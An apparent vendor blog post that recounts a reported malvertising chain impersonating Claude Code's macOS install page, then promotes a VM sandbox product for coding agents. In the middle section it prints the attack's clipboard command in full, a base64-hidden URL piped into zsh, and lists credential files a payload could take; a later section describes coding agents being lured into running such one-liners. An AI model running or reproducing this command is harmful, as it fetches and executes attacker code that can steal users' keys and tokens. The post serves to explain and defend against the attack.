The page showed the real command

Someone at a Push Security customer typed "claude mac" into Google. The first result was a sponsored link, and the domain under it was bing.com. The ad used no lookalike domain and no misspelling of Anthropic. Google's ad review had approved an ad whose destination was another search engine.

Push published the chain on Thursday, October 9, and named the technique Adception. BleepingComputer ran the story the same afternoon. Push's researchers wrote that they had seen search results used as redirectors before, but "hadn't seen it used as the destination of a search ad, and found no prior public reporting of that." A timestamp inside the Bing link decodes to October 5.

Four hops to a Copy button

The click went through four stops:

1. google.com/aclk, Google's ad-click redirect.
2. bing.com/ck/a, Bing's own click-tracking link for a real search result. It forwards with a short JavaScript page, so the browser arrives at the next hop with a bing.com referrer.
3. The "about us" page of a genuine South American retailer running a compromised WordPress site. It forwards only visitors who arrive from Bing with the right browser headers.
4. claude-desk-code[.]com, a polished copy of Claude's download page, with a Download for macOS button and a one-line terminal install.

Each hop checks where the visitor came from. Load the fake page directly and the page's JavaScript reads document.referrer, finds neither Google nor Bing, and serves /404.html. An ad reviewer, a scanner or a researcher pasting the URL sees nothing. In Push's words, "the malicious payload only appeared if you reached the end of the chain through this specific path."

The page displays the command Anthropic publishes:

curl -fsSL https://claude.ai/install.sh | bash

The Copy button puts this on the clipboard instead:

echo "Downloading Claude: hxxps://claude[.]ai/install.sh" && curl -s $(echo "aHR0cHM6Ly9sYWtlLTkwLmNvbS9jdXJsL2luaGd1cDlhL2E5MGZrYnFkZzhkMG11czY0b2g4ZHcuZGF0" | openssl base64 -d -A) | zsh

Pasted into Terminal, the first half prints a reassuring line with Anthropic's URL in it. The second half decodes a hidden address on lake-90[.]com, fetches a .dat file and pipes it into zsh. Nothing lands on disk to scan first. Push links eight lure domains, including cli-desktop[.]com and too.clawddddd[.]com, to a toolkit it tracks as AcSig, and notes the domains rotate fast enough that "short-lived IoCs are of limited value."

Why the lure is an AI tool

Push files Adception under InstallFix, a ClickFix variant it first described in March: fake install guides for tools whose genuine install is a terminal one-liner. Claude Code is the model case. Its documented install is a curl piped into a shell, so a page asking a developer to paste one into Terminal looks like the real thing.

Push says ClickFix pages now make up more than half of its monthly detections, and "4 in 5 ClickFix attacks (which includes InstallFix and LLMshare variants) that we detect reach victims via search engines." Developers make up most of the people who search for "claude mac," and a developer's Mac is worth a lot to whoever runs a script on it.

Push did not recover the final payload, so nobody yet knows what this script does. A zsh process started from your Terminal runs as you, with your home folder:

• ~/.aws/credentials, ~/.config/gcloud, ~/.kube/config
• ~/.ssh/id_ed25519 and ~/.git-credentials
• the gh token and npm and PyPI publish tokens
• .env files in every checkout
• the agent's own sign-in, if Claude Code was already installed
• browser profiles, cookies and session tokens

The victim also thinks the install worked. If the script installs the real Claude Code as a last step, nothing looks wrong.

The advice puts the work on you

The guidance that followed the report is the standard list: type the vendor's URL yourself, distrust sponsored results, read what you pasted before pressing Return, treat any install page that asks for Terminal as suspicious. All of it is correct. It also asks a developer, in the middle of setting up a new tool, to out-read a page built to pass a glance. The command on the screen was Anthropic's. The ad's domain was Bing's. The redirect went through a real retailer. A careful developer who checked each of those would have found nothing wrong.

Bromure removes the step the attack depends on: a developer pasting an install command for a coding agent into a terminal on the Mac that holds their keys.

Claude Code on a Mac, without installing it on the Mac

Bromure Agentic Coding runs Claude Code, Codex, Grok, Kimi Code and Oh My Pi inside Linux VMs on your Mac. None of them gets there through a terminal on the Mac.

The app is a notarized disk image

Bromure Agentic Coding ships as a signed, notarized DMG from bromure.io. You drag it to Applications, and Gatekeeper opens it without a warning. The manual tells you what to do with any other copy: "If you got a DMG from somewhere other than bromure.io and Gatekeeper complains, treat that as a red flag, not something to work around." After that, the app updates itself with Sparkle, and it checks each update against Bromure's signing key before installing it. The whole install contains no command, so it has no Copy button for anyone to swap.

The agents arrive as signed setup steps

On first launch, the setup wizard downloads Bromure's base image, an Ubuntu 24.04 disk, and checks its SHA-256. It then installs the agents into your copy of the image as setup steps listed in a catalog. The catalog carries an ed25519 signature, made with the same key that signs app updates, and the signature covers every setup command. The app refuses an unsigned or altered catalog, and any catalog older than one it has accepted before.

Claude Code's step is an npm install wrapped in Socket.dev's supply-chain scanner, run inside a helper VM. Nobody pastes it, and a tampered download server can't change it. The wizard's setup step shows "Customizing the image: installing packages…" while it runs.

When an agent later updates itself inside a machine with npm install -g, the request crosses Bromure's proxy on the Mac like every other package fetch. The proxy applies the machine's supply-chain policy (age gate, OSV, Socket.dev, Depi, whichever you enabled) before a byte reaches the VM, and records the fetch in the Security Timeline.

The sign-in happens in a throwaway machine

Claude Code's install guide ends with a login. In Bromure, the Models step of the wizard handles it: choose the Anthropic sign-in, finish in the browser page that opens, and wait for Signed in to Claude. The manual describes what happens underneath: "The sign-in happens on your Mac, in a hidden temporary machine; you never see a terminal." The provider's own CLI runs its login inside that VM. Bromure captures the tokens on the host, encrypts them and deletes the VM.

The sign-in is stored in an AES-GCM-encrypted file under a master key kept in the Mac's Data Protection Keychain, marked for this device only, with iCloud sync off. No ~/.claude token file sits in your home folder for a script to pick up, and each machine gets its own stand-in.

When the agent goes shopping for installers

Adception targets a person at a search box. Coding agents also look up install instructions, and they do it more often than people do: a missing CLI, a new SDK, a linter the README mentions. An agent reads the page's HTML rather than clicking Copy, but InstallFix pages carry the bad command in the page source, and the next campaign may not bother with a clipboard trick at all.

Say an agent in a Bromure machine finds a page like claude-desk-code[.]com and runs its one-liner. Four layers sit between that script and your keys.

The script runs in a Linux guest with stand-ins

The machine is an Ubuntu VM, and the script runs in that Linux guest. Its home folder holds the project checkout and brm_ stand-ins under the usual names: ANTHROPIC_API_KEY, GH_TOKEN, AWS_SECRET_ACCESS_KEY. The real values stay encrypted on the Mac, and the proxy puts them on the wire only for requests to the host each credential was minted for. A script that collects every token it finds collects strings no server will accept.

A stand-in headed for the wrong host stops the machine

The proxy scans every outbound request, request line, headers and body, for stand-ins on their way to a host they don't belong to. When the script ships its haul to the attacker's server, the proxy answers HTTP 451, forwards nothing, pauses the VM and opens This environment may have been compromised on the Mac, with the token, its credential, the host it belongs to and the host it was sent to.

The payload host was never on the list

The machine's Guardrails pane has an Outbound connections firewall, with rules by host, IP range, protocol and port. Set Unmatched traffic to Deny, allow the model provider, the registries and GitHub, and the curl to lake-90[.]com never connects. The verdict lands in the Security Timeline next to the session that made the request.

The home folder rolls back

Every boot of a machine takes a rollback point of its home folder. Shut the machine down, choose Rewind home…, pick the boot before the script ran, and the next start comes up from that home. The current home is kept as a new point first, so the rewind can itself be undone. To start from scratch, reset the machine onto the base image.

The next search ad

Push found Adception through one customer's click, on a lure aimed at one search term. The AcSig toolkit has eight domains, and the same page works for "codex mac," "gemini cli install" or whatever tool developers search for next month. Google approved a Bing link this time. Next time the ad may point at some other domain an ad reviewer trusts.

Install the coding agent once, as an app, and let it run where the setup is signed and the keys are stand-ins. For more on pasted commands and borrowed trust, read The clipboard is the exploit and They added your agent to the list.